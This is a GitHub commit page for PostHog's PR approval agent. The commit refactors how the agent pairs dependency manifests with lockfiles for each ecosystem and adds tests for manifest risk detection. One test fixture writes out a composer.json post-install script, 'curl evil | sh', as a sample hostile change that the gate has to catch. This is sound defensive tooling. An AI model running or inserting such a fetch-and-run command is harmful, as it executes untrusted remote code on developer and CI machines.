:hedgehog: PostHog is the leading platform for building self-driving products. Our developer tools – AI observability, analytics, session replay, flags, experiments, error tracking, logs, and more – capture all the context agents need to diagnose problems, uncover opportunities, and ship fixes. Steer it all from Slack, web, desktop, or the MCP.
Python ab-testingai-analyticsanalyticscdpdata-warehouseexperimentsfeature-flagsjavascriptproduct-analyticspythonreactsession-replaysurveystypescriptweb-analytics
refactor(stamphog): single dependency-ecosystem table, per-ecosystem lockfiles (#68092)
Paul D'Ambra803be5ce24a9
diff --git a/tools/pr-approval-agent/README.md b/tools/pr-approval-agent/README.mdindex 7fac0803f95c..d2aac75a2ae5 100644--- a/tools/pr-approval-agent/README.md+++ b/tools/pr-approval-agent/README.md@@ -173,6 +173,10 @@ of the manifest's diff hard-denies edits to known scripts/lifecycle/buildkeys (see `manifest_risk.py` — fails closed if the diff can't be read),manifest PRs are kept out of the T0 fast path, and the reviewer prompt mustREFUSE on execution-bearing changes the scan can't name.+Manifest/lockfile pairing is per-ecosystem, from the `DEPENDENCY_ECOSYSTEMS`+table in `gates.py` (the single source the deny patterns and helpers derive+from): a Cargo.lock bump hard-denies on its own but doesn't silence the+scripts guard on an unrelated package.json edit in the same PR.Data warehouse connector sources (`products/warehouse_sources/.../sources/`)are exempt from the **auth** and **billing** categories — connector codelegitimately does OAuth and talks to the Stripe API without touchingdiff --git a/tools/pr-approval-agent/gates.py b/tools/pr-approval-agent/gates.pyindex 909cf780952d..e10838e97cbe 100644--- a/tools/pr-approval-agent/gates.py+++ b/tools/pr-approval-agent/gates.py@@ -6,9 +6,107 @@ tier assignment, and file classification. No external dependencies.import refrom collections import Counter+from dataclasses import dataclassfrom fnmatch import fnmatchfrom pathlib import Path+# ── Dependency ecosystems ────────────────────────────────────────+#+# Source of truth for how each package ecosystem pairs manifests with+# lockfiles. The deps_toolchain deny patterns, DISMISS_TIME_LOCKFILES, and+# the manifest/lockfile helper sets all derive from this table — add a new+# ecosystem here, not in several places. (requirements*.{txt,in} stays out:+# a pinned requirements.txt is arguably both manifest and lockfile, so+# has_dependency_changes recognizes it directly instead of forcing it into+# one column of this table.)+#+# `manifests` entries are fnmatch patterns, not just literal names — a+# plain filename like "package.json" matches itself, so ecosystems with no+# glob needs can still write literal names.+++@dataclass(frozen=True)+class Ecosystem:+ manifests: frozenset[str]+ lockfiles: frozenset[str]+ # Whether this ecosystem's lockfiles are trivially trusted at dismiss+ # time (a lockfile-only push retains a prior stamphog approval without+ # LLM re-review). Defaults to NOT trusted so a newly added ecosystem+ # narrows trust rather than silently widening it — dismiss-time trust+ # is an explicit decision made here, not inherited from the deny list.+ trusted_at_dismiss: bool = False+++DEPENDENCY_ECOSYSTEMS: dict[str, Ecosystem] = {+ "node": Ecosystem(+ manifests=frozenset({"package.json"}),+ lockfiles=frozenset({"pnpm-lock.yaml", "package-lock.json", "yarn.lock", "npm-shrinkwrap.json"}),+ trusted_at_dismiss=True,+ ),+ "python": Ecosystem(+ # setup.py/setup.cfg execute code at install/build time even though+ # no lockfile pairs with them in this repo.+ manifests=frozenset({"pyproject.toml", "setup.py", "setup.cfg", "pipfile"}),+ lockfiles=frozenset({"uv.lock", "poetry.lock", "pipfile.lock"}),+ trusted_at_dismiss=True,+ ),+ "ruby": Ecosystem(+ manifests=frozenset({"gemfile"}),+ lockfiles=frozenset({"gemfile.lock"}),+ trusted_at_dismiss=True,+ ),+ # No composer usage in-repo today; listed so a future composer.json+ # doesn't arrive ungated.+ "php": Ecosystem(+ manifests=frozenset({"composer.json"}),+ lockfiles=frozenset({"composer.lock"}),+ trusted_at_dismiss=True,+ ),+ "rust": Ecosystem(+ manifests=frozenset({"cargo.toml"}),+ lockfiles=frozenset({"cargo.lock"}),+ trusted_at_dismiss=True,+ ),+ # go.sum deliberately stays untrusted at dismiss time: it hashes what+ # go.mod names rather than being the sole source of installed code.+ "go": Ecosystem(+ manifests=frozenset({"go.mod"}),+ lockfiles=frozenset({"go.sum"}),+ ),+ # tsconfig configures the compiler, not dependencies — no lockfile ever+ # pairs with it, so a tsconfig change is always flagged for scrutiny+ # (empty `lockfiles` means dependency_manifests_without_lockfile can+ # never find a paired lockfile to suppress it).+ "typescript": Ecosystem(+ manifests=frozenset({"tsconfig*.json"}),+ lockfiles=frozenset(),+ ),+}++_ALL_LOCKFILE_NAMES: frozenset[str] = frozenset().union(*(e.lockfiles for e in DEPENDENCY_ECOSYSTEMS.values()))++# Call sites match against Path(...).name.lower(), so a mixed-case table entry+# would silently never match — a fail-open hole in a security gate. Enforce the+# invariant at import so a bad entry fails the gate closed (the tool crashes+# instead of auto-approving). A raise, not an assert, so python -O can't strip+# it; test_dependency_ecosystem_names_are_lowercase covers it once the suite is+# wired into CI.+if any(+ n != n.lower()+ for spec in DEPENDENCY_ECOSYSTEMS.values()+ for names in (spec.manifests, spec.lockfiles)+ for n in names+):+ raise ValueError("DEPENDENCY_ECOSYSTEMS names must be lowercase — call sites match against Path(...).name.lower()")+++def _ecosystem_for_manifest(name: str) -> str | None:+ for ecosystem, spec in DEPENDENCY_ECOSYSTEMS.items():+ if any(fnmatch(name, pattern) for pattern in spec.manifests):+ return ecosystem+ return None++# ── Pattern data ─────────────────────────────────────────────────# Deny patterns use word-boundary matching (\b) to avoid false positives@@ -159,13 +257,7 @@ _DENY_PATTERN_DEFS: dict[str, dict[str, list[str]]] = {# lockfile involved. .nvmrc/.tool-versions stay: they change the# runtime for every CI job. Makefile/Dockerfile stay: they execute."paths": [- "pnpm-lock",- "package-lock",- r"yarn\.lock",- r"uv\.lock",- r"cargo\.lock",- r"go\.sum",- r"poetry\.lock",+ *(re.escape(name) for name in sorted(_ALL_LOCKFILE_NAMES)),r"requirements[-\w]*\.(txt|in)","Makefile","Dockerfile",@@ -271,18 +363,11 @@ ALLOW_PATH_PATTERNS = [# pipeline (workflows, configs, build files) even though those paths may# be allow-listed at approve time.-DISMISS_TIME_LOCKFILES: frozenset[str] = frozenset(- {- "package-lock.json",- "pnpm-lock.yaml",- "yarn.lock",- "uv.lock",- "cargo.lock",- "pipfile.lock",- "poetry.lock",- "gemfile.lock",- "composer.lock",- }+# Derived from the ecosystems that explicitly opted in via trusted_at_dismiss+# — dismiss-time trust is a per-ecosystem decision made in the table, never a+# default a new deny-list entry inherits. See the field's comment on Ecosystem.+DISMISS_TIME_LOCKFILES: frozenset[str] = frozenset().union(+ *(spec.lockfiles for spec in DEPENDENCY_ECOSYSTEMS.values() if spec.trusted_at_dismiss))_DISMISS_TIME_TEST_RE = re.compile(@@ -479,52 +564,39 @@ def detect_title_scrutiny_flags(subject: str) -> list[str]:def has_dependency_changes(files: list[str]) -> bool:- dep_files = {- "package.json",- "pnpm-lock.yaml",- "yarn.lock",- "package-lock.json",- "requirements.txt",- "pyproject.toml",- "uv.lock",- "Cargo.toml",- "go.mod",- "go.sum",- }- dep_files_lower = {d.lower() for d in dep_files}- return any(Path(f).name.lower() in dep_files_lower for f in files)---_LOCKFILE_NAMES = DISMISS_TIME_LOCKFILES | frozenset({"go.sum"})--# setup.py/setup.cfg/Pipfile/Gemfile execute code at install/build time even-# though no lockfile pairs with them in this repo — they need the same-# reviewer scrutiny as the lockfile-paired manifests.-_DEP_MANIFEST_NAMES = frozenset(- {"package.json", "pyproject.toml", "cargo.toml", "go.mod", "setup.py", "setup.cfg", "pipfile", "gemfile"}-)+ for f in files:+ name = Path(f).name.lower()+ if name in _ALL_LOCKFILE_NAMES or _ecosystem_for_manifest(name) is not None:+ return True+ if name.startswith("requirements") and name.endswith((".txt", ".in")):+ return True+ return Falsedef is_dependency_manifest(path: str) -> bool:- name = Path(path).name.lower()- if name in _DEP_MANIFEST_NAMES:- return True- return name.startswith("tsconfig") and name.endswith(".json")+ return _ecosystem_for_manifest(Path(path).name.lower()) is not Nonedef dependency_manifests_without_lockfile(files: list[str]) -> list[str]:- """Manifest files changed with no lockfile in the change set.+ """Manifest files changed without their own ecosystem's lockfile.Such a change cannot install new third-party code (CI installs arefrozen-lockfile), so it passes the deny-list — but manifest scripts/hooks- execute in CI, so the reviewer prompt gets these paths and must REFUSE if- scripts changed. Any lockfile in the change set suppresses the flag: the- lockfile itself hard-denies, which forces the stronger human-review path.+ execute in CI, so these paths feed the deterministic scripts scan and the+ reviewer prompt. The lockfile check is per-ecosystem: a Cargo.lock bump+ hard-denies on its own but must not silence the scripts guard on an+ unrelated package.json edit in the same PR."""names = {Path(f).name.lower() for f in files}- if names & _LOCKFILE_NAMES:- return []- return sorted(f for f in files if is_dependency_manifest(f))+ ecosystems_with_lockfile_change = {+ ecosystem for ecosystem, spec in DEPENDENCY_ECOSYSTEMS.items() if names & spec.lockfiles+ }+ return sorted(+ f+ for f in files+ if (ecosystem := _ecosystem_for_manifest(Path(f).name.lower())) is not None+ and ecosystem not in ecosystems_with_lockfile_change+ )def has_ci_workflow_changes(files: list[str]) -> bool:diff --git a/tools/pr-approval-agent/manifest_risk.py b/tools/pr-approval-agent/manifest_risk.pyindex a9b7f447c7a0..73e413a60b9e 100644--- a/tools/pr-approval-agent/manifest_risk.py+++ b/tools/pr-approval-agent/manifest_risk.py@@ -17,7 +17,9 @@ import reimport jsonimport tomllibimport subprocess+from collections.abc import Callablefrom pathlib import Path+from typing import NamedTuple# Any change at all to these is execution-bearing — setup.py and Gemfile are# code, and setup.cfg's declarative surface (entry_points, cmdclass) doesn't@@ -34,13 +36,22 @@ _RISKY_LINE_PATTERNS: dict[str, re.Pattern[str]] = {_TSCONFIG_LINE_PATTERN = re.compile(r'"(?:plugins|extends)"\s*:')-def _package_json_risky_subtree(text: str) -> object:+def _json_object(text: str, label: str) -> dict[str, object]:data = json.loads(text) if text.strip() else {}if not isinstance(data, dict):- raise ValueError("package.json root is not an object")+ raise ValueError(f"{label} root is not an object")+ return data+++def _package_json_risky_subtree(text: str) -> object:+ data = _json_object(text, "package.json")return {key: data.get(key) for key in ("scripts", "husky", "pnpm")}+def _composer_json_risky_subtree(text: str) -> object:+ return _json_object(text, "composer.json").get("scripts")++_TOML_RISKY_KEYS = frozenset({"scripts", "entry-points", "entry_points"})# Cargo resolves manifests at build time and our CI doesn't pass --locked# everywhere (cargo test in ci-rust.yml, cargo build in ci-mcp/ci-nodejs), so@@ -76,31 +87,38 @@ def _cargo_risky_subtree(text: str) -> object:def _tsconfig_risky_subtree(text: str) -> object:- data = json.loads(text) if text.strip() else {}- if not isinstance(data, dict):- raise ValueError("tsconfig root is not an object")+ data = _json_object(text, "tsconfig")return (data.get("extends"), (data.get("compilerOptions") or {}).get("plugins"))+# Manifests compared by parsing base/head into a "risky subtree" and diffing+# that, rather than by diff-line matching (see module docstring). Each entry+# pairs the extractor with the parse-failure exceptions that must fail closed+# (return True) for that format.+class StructuralCheck(NamedTuple):+ extract: Callable[[str], object]+ fails_closed_on: tuple[type[Exception], ...]+++_STRUCTURAL_RISK_CHECKS: dict[str, StructuralCheck] = {+ "package.json": StructuralCheck(_package_json_risky_subtree, (ValueError,)),+ "pyproject.toml": StructuralCheck(_toml_risky_subtree, (tomllib.TOMLDecodeError, ValueError)),+ "pipfile": StructuralCheck(_toml_risky_subtree, (tomllib.TOMLDecodeError, ValueError)),+ "cargo.toml": StructuralCheck(_cargo_risky_subtree, (tomllib.TOMLDecodeError,)),+ "composer.json": StructuralCheck(_composer_json_risky_subtree, (ValueError,)),+}++def manifest_change_is_risky(path: str, base_text: str, head_text: str, diff_text: str) -> bool:"""True when the manifest change adds/edits/removes execution-bearing config."""name = Path(path).name.lower()if name in _ANY_CHANGE_RISKY:return base_text != head_text- if name == "package.json":- try:- return _package_json_risky_subtree(base_text) != _package_json_risky_subtree(head_text)- except ValueError:- return True- if name in ("pyproject.toml", "pipfile"):- try:- return _toml_risky_subtree(base_text) != _toml_risky_subtree(head_text)- except (tomllib.TOMLDecodeError, ValueError):- return True- if name == "cargo.toml":+ if name in _STRUCTURAL_RISK_CHECKS:+ check = _STRUCTURAL_RISK_CHECKS[name]try:- return _cargo_risky_subtree(base_text) != _cargo_risky_subtree(head_text)- except tomllib.TOMLDecodeError:+ return check.extract(base_text) != check.extract(head_text)+ except check.fails_closed_on:return Trueif name.startswith("tsconfig") and name.endswith(".json"):# tsconfig is often JSONC (comments, trailing commas); a strict-JSONdiff --git a/tools/pr-approval-agent/test_gates.py b/tools/pr-approval-agent/test_gates.pyindex e6f60f87597e..4cfad8639254 100644--- a/tools/pr-approval-agent/test_gates.py+++ b/tools/pr-approval-agent/test_gates.py@@ -3,9 +3,12 @@import pytestfrom gates import (+ DEPENDENCY_ECOSYSTEMS,+ DISMISS_TIME_LOCKFILES,dependency_manifests_without_lockfile,detect_deny_categories,detect_title_scrutiny_flags,+ has_dependency_changes,is_size_exempt,substantive_size,)@@ -207,6 +210,11 @@ def test_no_false_positive(files: list[str]) -> None:"deps_toolchain",id="cargo-lockfile",),+ pytest.param(+ ["composer.lock"],+ "deps_toolchain",+ id="composer-lockfile",+ ),pytest.param(["requirements.txt"],"deps_toolchain",@@ -400,8 +408,18 @@ def test_substantive_size_counts_only_non_exempt_files() -> None:),pytest.param(["frontend/package.json", "rust/Cargo.lock"],- [],- id="unrelated-lockfile-suppresses-flag-but-lockfile-denies",+ ["frontend/package.json"],+ id="unrelated-ecosystem-lockfile-does-not-suppress",+ ),+ pytest.param(+ ["common/esbuilder/tsconfig.json", "pnpm-lock.yaml"],+ ["common/esbuilder/tsconfig.json"],+ id="tsconfig-has-no-lockfile-always-flagged",+ ),+ pytest.param(+ ["composer.json"],+ ["composer.json"],+ id="composer-manifest-flagged",),pytest.param(["docs/some_tsconfig_notes.md"],@@ -415,3 +433,43 @@ def test_dependency_manifests_without_lockfile(files: list[str], expected: list[# what routes them to the reviewer's scripts/hooks guard — if it breaks,# a package.json scripts edit sails through with no scrutiny at all.assert dependency_manifests_without_lockfile(files) == expected++[email protected]("ecosystem", list(DEPENDENCY_ECOSYSTEMS))+def test_dependency_ecosystem_names_are_lowercase(ecosystem: str) -> None:+ # Call sites match against Path(...).name.lower(); a mixed-case entry+ # here would silently never match and go unrecognized in a security gate.+ spec = DEPENDENCY_ECOSYSTEMS[ecosystem]+ for name in (*spec.manifests, *spec.lockfiles):+ assert name == name.lower()+++ "path",+ [+ pytest.param("common/esbuilder/tsconfig.json", id="tsconfig"),+ pytest.param("setup.py", id="setup-py"),+ pytest.param("setup.cfg", id="setup-cfg"),+ pytest.param("pipfile", id="pipfile-manifest"),+ pytest.param("gemfile", id="gemfile-manifest"),+ pytest.param("composer.json", id="composer-manifest"),+ pytest.param("pipfile.lock", id="pipfile-lock"),+ pytest.param("gemfile.lock", id="gemfile-lock"),+ pytest.param("composer.lock", id="composer-lock"),+ ],+)+def test_has_dependency_changes_recognizes_uncurated_manifests_and_lockfiles(path: str) -> None:+ # Pins the members that DEPENDENCY_ECOSYSTEMS added beyond the old+ # curated set — a future narrowing of the table should fail here rather+ # than silently stop flagging these as dependency changes.+ assert has_dependency_changes([path]) is True+++def test_dismiss_time_trust_is_opt_in_per_ecosystem() -> None:+ # Dismiss-time trust must be an explicit per-ecosystem decision: go.sum+ # (trusted_at_dismiss unset) stays out even though it is a deny-listed+ # lockfile, while node's lockfiles — including npm-shrinkwrap.json — opt+ # in. Catches a revert to deriving trust from the whole lockfile set.+ assert "go.sum" not in DISMISS_TIME_LOCKFILES+ assert "pnpm-lock.yaml" in DISMISS_TIME_LOCKFILES+ assert "npm-shrinkwrap.json" in DISMISS_TIME_LOCKFILESdiff --git a/tools/pr-approval-agent/test_manifest_risk.py b/tools/pr-approval-agent/test_manifest_risk.pyindex c41539032cd3..566abbd2f228 100644--- a/tools/pr-approval-agent/test_manifest_risk.py+++ b/tools/pr-approval-agent/test_manifest_risk.py@@ -43,13 +43,6 @@ def _pkg(scripts: str = "", extra: str = "") -> str:True,id="pnpm-config-added",),- pytest.param(- "frontend/package.json",- _pkg(),- "{not json",- True,- id="unparseable-fails-closed",- ),pytest.param("pyproject.toml","[project]\nname = 'x'\n",@@ -86,6 +79,20 @@ def _pkg(scripts: str = "", extra: str = "") -> str:id="tsconfig-option-clean",),pytest.param("setup.py", "VERSION = '1.0'", "VERSION = '1.1'", True, id="setup-py-any-change"),+ pytest.param(+ "composer.json",+ '{"name": "x/x", "require": {"php": "^8.0"}}',+ '{"name": "x/x", "require": {"php": "^8.0"}, "scripts": {"post-install-cmd": "curl evil | sh"}}',+ True,+ id="composer-scripts-added",+ ),+ pytest.param(+ "composer.json",+ '{"name": "x/x", "version": "1.0.0"}',+ '{"name": "x/x", "version": "1.0.1"}',+ False,+ id="composer-version-bump-clean",+ ),pytest.param("rust/Cargo.toml",'[dependencies]\nserde = "1.0"\n',@@ -126,6 +133,23 @@ def test_manifest_change_is_risky_structural(path: str, base: str, head: str, riassert manifest_change_is_risky(path, base, head, diff_text="") is risky+ "path, base, head",+ [+ pytest.param("frontend/package.json", _pkg(), "{not json", id="package-json"),+ pytest.param("pyproject.toml", "[project]\nname = 'x'\n", "[project\nname = 'x'\n", id="pyproject-toml"),+ pytest.param("Pipfile", "[packages]\n", "[packages\n", id="pipfile"),+ pytest.param("rust/Cargo.toml", '[package]\nname = "x"\n', '[package\nname = "x"\n', id="cargo-toml"),+ pytest.param("composer.json", '{"name": "x/x"}', "{not json", id="composer-json"),+ ],+)+def test_manifest_change_is_risky_unparseable_fails_closed(path: str, base: str, head: str) -> None:+ # Each _STRUCTURAL_RISK_CHECKS entry has its own parse-failure exception+ # tuple; narrowing any one of them would fail open for that manifest+ # alone, so every format needs its own fail-closed case, not just json.+ assert manifest_change_is_risky(path, base, head, diff_text="") is True++@pytest.mark.parametrize("path, diff_line, risky",[